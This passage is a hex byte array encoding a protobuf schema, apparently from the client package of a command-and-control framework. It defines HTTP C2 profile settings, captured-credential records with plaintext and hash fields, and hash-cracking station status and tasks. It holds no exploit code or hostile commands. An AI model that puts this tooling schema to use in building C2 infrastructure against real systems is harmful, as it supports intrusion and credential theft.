0x47, 0x65, 0x6e, 0x18, 0x0b, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x4d, 0x69, 0x6e, 0x50, 0x61, 0x74, 0x68, 0x47, 0x65, 0x6e, + 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, 0x68, 0x4c, 0x65, 0x6e, 0x67, 0x74, + 0x68, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0d, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, 0x68, + 0x4c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x69, 0x6e, 0x50, 0x61, 0x74, + 0x68, 0x4c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0d, 0x4d, + 0x69, 0x6e, 0x50, 0x61, 0x74, 0x68, 0x4c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x12, 0x1e, 0x0a, 0x0a, + 0x65, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x0e, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x0a, 0x65, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3f, 0x0a, 0x0c, + 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x11, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, + 0x54, 0x50, 0x43, 0x32, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x52, + 0x0c, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x2a, 0x0a, + 0x10, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4c, 0x65, 0x6e, 0x67, 0x74, + 0x68, 0x18, 0x12, 0x20, 0x01, 0x28, 0x05, 0x52, 0x10, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x4c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x4e, 0x6f, 0x6e, + 0x63, 0x65, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4e, 0x6f, + 0x6e, 0x63, 0x65, 0x4d, 0x6f, 0x64, 0x65, 0x22, 0x32, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, + 0x32, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x82, 0x01, 0x0a, 0x0c, + 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, + 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4d, 0x65, + 0x74, 0x68, 0x6f, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x20, + 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x05, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, + 0x22, 0x88, 0x01, 0x0a, 0x12, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50, 0x61, + 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, + 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0b, + 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x22, 0x51, 0x0a, 0x11, 0x48, + 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, + 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x49, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x80, + 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, + 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, + 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, + 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, + 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, + 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, + 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, + 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, + 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, + 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, + 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, + 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, + 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, + 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, + 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, + 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, + 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, + 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, + 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, + 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, + 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, + 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, + 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, + 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, + 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, + 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, + 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, + 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, + 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, + 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, + 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, + 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, + 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, + 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xfd, 0x03, 0x0a, 0x0c, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, + 0x43, 0x48, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, + 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, + 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, + 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x09, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, + 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, + 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, + 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, + 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, + 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, + 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, + 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, + 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, + 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, + 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, + 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, + 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, + 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, + 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, + 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 